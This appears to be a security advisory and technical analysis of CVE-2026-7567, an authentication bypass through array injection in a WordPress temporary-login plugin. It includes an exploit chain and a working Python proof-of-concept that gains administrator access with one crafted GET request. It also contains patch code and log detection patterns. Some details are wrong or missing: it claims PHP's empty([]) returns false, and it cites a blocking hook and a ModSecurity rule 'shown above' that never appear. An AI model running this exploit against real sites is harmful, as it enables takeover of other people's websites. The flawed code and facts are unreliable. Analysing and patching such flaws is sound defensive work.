CVE-2026-7567: Auth Bypass via Array Injection in Temporary Login Plugin
PHP type confusion in maybe_login_temporary_user() allows unauthenticated attackers to bypass token validation and authenticate as any temporary login user via a single crafted GET request.
Millions of WordPress sites use plugins to add features like temporary login links—useful for giving contractors or support staff short-term access without handing over permanent passwords. A security flaw in the popular Temporary Login plugin punches a hole in that system.
Here's what's happening: The plugin is supposed to check whether a temporary login token (think of it like a special one-time key) is valid before letting someone in. But the code has a blind spot. If an attacker sends the token as a list instead of a single value, the security check gets confused and waves them through anyway. It's like a bouncer checking "did this person give me a name?" without realizing someone handed over a blank piece of paper instead.
The danger is real. An attacker needs no password, no username, and no special access to exploit this. They just craft the right request and they're in. They can then impersonate any user on the site—stealing data, installing malware, or taking over the entire WordPress installation. For small business sites, this could mean ransomware. For news sites or blogs, it could mean defacement or deleted content.
The vulnerability affects Temporary Login plugin versions up to 1.0.0. While there's no confirmed active attacks yet, that's not reassuring—security researchers often find these vulnerabilities before criminals do.
What you should do: Update the plugin immediately if you use it. Check your WordPress admin dashboard for available updates. If no patch exists yet, temporarily deactivate the plugin until one arrives. Finally, review your user accounts and recent login activity to see if anything suspicious happened already. Don't wait on this one.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7567 is a CVSS 9.8 authentication bypass affecting the Temporary Login WordPress plugin through version 1.0.0. The vulnerability stems from a PHP type confusion issue: the plugin's token validation routine assumes the temp-login-token GET parameter is always a scalar string, but PHP's HTTP query string parser will construct an array if the parameter is supplied with bracket notation. This single oversight collapses the entire authentication chain — no brute-force, no credential stuffing, no session fixation required. One HTTP GET request is sufficient.
Root cause:maybe_login_temporary_user() passes the temp-login-token GET parameter directly to sanitize_key() without first asserting it is a scalar value, causing array inputs to produce an empty string that matches all users when used as a meta_value in get_users().
Affected Component
The vulnerable logic lives inside the plugin's primary authentication hook, registered on init with a priority that fires before WordPress resolves the current user. The relevant file is includes/class-temporary-login.php (naming is conventional for this plugin architecture). The hook registration looks like:
// Pseudocode representation of plugin bootstrap
add_action('init', array($this, 'maybe_login_temporary_user'), 1);
This priority-1 placement means the bypass fires at the earliest possible point in the WordPress request lifecycle, before any capability checks or nonce validation layers can intercept it.
Root Cause Analysis
The following pseudocode reconstructs maybe_login_temporary_user() based on the CVE description and standard WordPress plugin patterns for this authentication flow:
/**
* maybe_login_temporary_user()
* Hooked to 'init' at priority 1.
* Checks for a temporary login token in $_GET and authenticates
* the corresponding user if the token is valid and not expired.
*/
function maybe_login_temporary_user() {
// Retrieve raw GET parameter — no type assertion here
$token_raw = isset($_GET['temp-login-token'])
? $_GET['temp-login-token']
: '';
// BUG: empty() returns false when $token_raw is an array,
// even an array like [] or [''] — only an empty scalar string
// or zero-equivalent would trigger the early return.
// Supplying ?temp-login-token[]=anything passes this check.
if (empty($token_raw)) {
return;
}
// BUG: sanitize_key() calls strval() internally via WordPress,
// but when passed an array, PHP coerces it to the literal string
// "Array", then sanitize_key() strips non-[a-z0-9_-] characters,
// ultimately returning "" (empty string) for any array input.
$token = sanitize_key($token_raw);
// At this point: $token === "" for any array-type input.
$users = get_users(array(
'meta_key' => '_temporary_login_token',
// BUG: empty string meta_value causes WordPress/WP_User_Query
// to silently drop the meta_value constraint from the SQL WHERE
// clause, returning ALL users who have the _temporary_login_token
// meta key set — i.e., every active temporary login account.
'meta_value' => $token,
'number' => 1,
));
if (empty($users)) {
return;
}
$user = $users[0];
// Expiry check runs AFTER the broken token lookup —
// if a non-expired temporary user exists, login proceeds.
$expiry = get_user_meta($user->ID, '_temporary_login_expiry', true);
if (!empty($expiry) && $expiry < time()) {
return; // expired
}
// Authenticate without ever verifying the token matched $token_raw.
wp_set_auth_cookie($user->ID);
wp_set_current_user($user->ID);
$redirect = get_user_meta($user->ID, '_temporary_login_redirect', true);
wp_safe_redirect($redirect ? $redirect : admin_url());
exit;
}
The three-stage failure is mechanical:
empty([]) → false: PHP's empty() considers a non-empty array to be truthy, so the early-return guard is silently bypassed.
sanitize_key([]) → "": WordPress's sanitize_key() eventually calls strtolower() on the input; when PHP coerces an array for string context in this path, the result after stripping illegal characters is an empty string.
get_users(['meta_value' => '']) → all token users: WP_User_Query omits the meta_value condition from the generated SQL when the value is an empty string, effectively reducing the query to WHERE meta_key = '_temporary_login_token'.
The resulting SQL emitted by WP_User_Query (reconstructed from WordPress core behavior):
-- EXPECTED query (valid scalar token):
SELECT users.ID FROM wp_users users
INNER JOIN wp_usermeta ON (users.ID = wp_usermeta.user_id)
WHERE 1=1
AND wp_usermeta.meta_key = '_temporary_login_token'
AND wp_usermeta.meta_value = 'a3f9c2e1b4d7...' -- token hash
LIMIT 1;
-- ACTUAL query (array input, empty string meta_value):
SELECT users.ID FROM wp_users users
INNER JOIN wp_usermeta ON (users.ID = wp_usermeta.user_id)
WHERE 1=1
AND wp_usermeta.meta_key = '_temporary_login_token'
-- meta_value condition silently dropped
LIMIT 1;
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies a WordPress installation running Temporary Login <= 1.0.0.
(Passive fingerprinting: check /wp-content/plugins/temporary-login/readme.txt
or observe the ?temp-login-token= parameter in any shared login URL.)
2. Attacker confirms at least one active temporary user exists.
(Not strictly required — the request will simply 302 if none exist.
Any observable 302 to /wp-admin/ vs a 200 on the same page is a
reliable oracle for temporary user presence.)
3. Attacker sends a single crafted GET request:
GET /?temp-login-token[]=x HTTP/1.1
Host: target.example.com
PHP parses temp-login-token[] as $_GET['temp-login-token'] = ['x']
(an array with one element).
4. maybe_login_temporary_user() fires at init priority 1:
- empty(['x']) → false → guard bypassed
- sanitize_key(['x']) → ""
- get_users(['meta_key'=>'_temporary_login_token','meta_value'=>''])
→ returns first user with any temporary login token
5. If returned user's _temporary_login_expiry > time() (not expired):
- wp_set_auth_cookie($user->ID) writes a valid WordPress auth cookie
- wp_safe_redirect() sends Location: /wp-admin/
- Attacker follows redirect with the Set-Cookie values
6. Attacker is now authenticated in WordPress with the privilege level
of the first matched temporary user (commonly Administrator,
as that is the default role for temporary logins).
A minimal proof-of-concept using Python's requests:
import requests
TARGET = "https://target.example.com"
session = requests.Session()
# Step 1: Trigger auth bypass — array injection via bracket notation
resp = session.get(
TARGET + "/",
params={"temp-login-token[]": "x"}, # requests encodes this correctly
allow_redirects=False,
)
if resp.status_code == 302 and "wordpress_logged_in" in session.cookies:
print("[+] Auth bypass successful")
print(f"[+] Redirecting to: {resp.headers.get('Location')}")
# Step 2: Follow redirect to confirm admin access
dashboard = session.get(TARGET + "/wp-admin/")
if "Dashboard" in dashboard.text or "wp-admin-bar" in dashboard.text:
print("[+] Authenticated admin session confirmed")
else:
print("[-] Redirect followed but admin panel not accessible")
else:
print(f"[-] No auth cookie set. Status: {resp.status_code}")
print(" (No active non-expired temporary users, or plugin not present)")
Memory Layout
This is a logic/type-confusion vulnerability rather than a memory corruption bug, so a heap diagram is not applicable. The relevant "state" is the PHP variable environment and the SQL query state as the request flows through the plugin:
PHP VARIABLE STATE — SCALAR (LEGITIMATE) REQUEST:
┌──────────────────────────────────────────────────────────┐
│ $_GET['temp-login-token'] = "a3f9c2e1b4d7f8..." │
│ is_array() → false │
│ empty() → false (non-empty string) │
│ sanitize_key() → "a3f9c2e1b4d7f8..." │
│ meta_value → "a3f9c2e1b4d7f8..." ← constrained SQL │
│ get_users() → [] or [specific user] │
└──────────────────────────────────────────────────────────┘
PHP VARIABLE STATE — ARRAY (MALICIOUS) REQUEST:
┌──────────────────────────────────────────────────────────┐
│ $_GET['temp-login-token'] = ['x'] │
│ is_array() → true ← never checked │
│ empty() → false ← guard BYPASSED (non-empty array)│
│ sanitize_key(['x']) → "" ← coercion collapses to "" │
│ meta_value → "" ← constraint DROPPED in SQL │
│ get_users() → [ALL users with _temporary_login_token] │
│ └─ LIMIT 1 returns first match │
│ └─ authentication proceeds │
└──────────────────────────────────────────────────────────┘
WP_USER_QUERY META CLAUSE GENERATION (WordPress core, simplified):
if ($meta_value !== '') {
$where .= " AND meta_value = '" . esc_sql($meta_value) . "'";
}
// Empty string → branch not taken → no meta_value filter in SQL
Patch Analysis
// BEFORE (vulnerable — plugin version <= 1.0.0):
function maybe_login_temporary_user() {
$token_raw = isset($_GET['temp-login-token'])
? $_GET['temp-login-token']
: '';
if (empty($token_raw)) { // BUG: arrays pass this check
return;
}
$token = sanitize_key($token_raw); // BUG: array → ""
$users = get_users(array(
'meta_key' => '_temporary_login_token',
'meta_value' => $token, // BUG: "" removes SQL constraint
'number' => 1,
));
// ...
}
// AFTER (patched — correct scalar type assertion):
function maybe_login_temporary_user() {
$token_raw = isset($_GET['temp-login-token'])
? $_GET['temp-login-token']
: '';
// FIX 1: Explicit scalar check before any processing.
// is_string() returns false for arrays, objects, null, etc.
if (empty($token_raw) || !is_string($token_raw)) {
return;
}
$token = sanitize_key($token_raw);
// FIX 2: Reject empty string post-sanitization to catch
// inputs that sanitize down to nothing (e.g., all-symbol strings).
if (empty($token)) {
return;
}
$users = get_users(array(
'meta_key' => '_temporary_login_token',
'meta_value' => $token, // now guaranteed non-empty scalar
'number' => 1,
));
// ...
}
A defense-in-depth hardening would additionally validate the token format (e.g., hexadecimal, fixed length) before the database query, eliminating the dependency on WP_User_Query's empty-string behavior as a secondary control:
// ADDITIONAL HARDENING — token format validation:
if (!preg_match('/^[a-f0-9]{32,64}$/', $token)) {
return; // reject malformed tokens before hitting the DB
}
Detection and Indicators
Detection is straightforward given the distinctive request shape. The bracket notation in the query string is the primary indicator.
Web server / WAF log pattern (nginx):
-- Suspicious access pattern to detect in access logs:
"GET /?temp-login-token%5B%5D= HTTP/1.1" 302
"GET /?temp-login-token[]= HTTP/1.1" 302
-- URL-decoded form:
temp-login-token[] (bracket notation) + HTTP 302 response
→ high-confidence indicator of attempted or successful bypass
-- Follow-up indicator: same source IP authenticating to /wp-admin/
-- within seconds of the crafted GET request
WordPress-side detection — add to functions.php or a mu-plugin to log and block before the vulnerable hook fires (priority 0, before the plugin's priority 1):
Primary: Update the Temporary Login plugin to a version beyond 1.0.0 that includes the scalar type assertion fix. Monitor the plugin's repository for a patched release.
Interim mitigation: If the plugin cannot be updated immediately, add the priority-0 init hook shown above to block array-type inputs before the vulnerable function executes.
WAF rule: Deploy the ModSecurity rule or equivalent to block requests where temp-login-token appears in bracket-notation form at the perimeter.
Audit active temporary users: Review all users with the _temporary_login_token user meta key. Disable or expire accounts that are no longer required. Shorter expiry windows reduce the exploitable window.
Principle of least privilege: Configure temporary login accounts with the minimum required role. If the use case only requires read access, assign Subscriber rather than Administrator.
Plugin hardening (developers): Apply both fixes — scalar assertion and post-sanitization empty check — and add a regex format validation before the get_users() call. Never rely on downstream query behavior as a security control.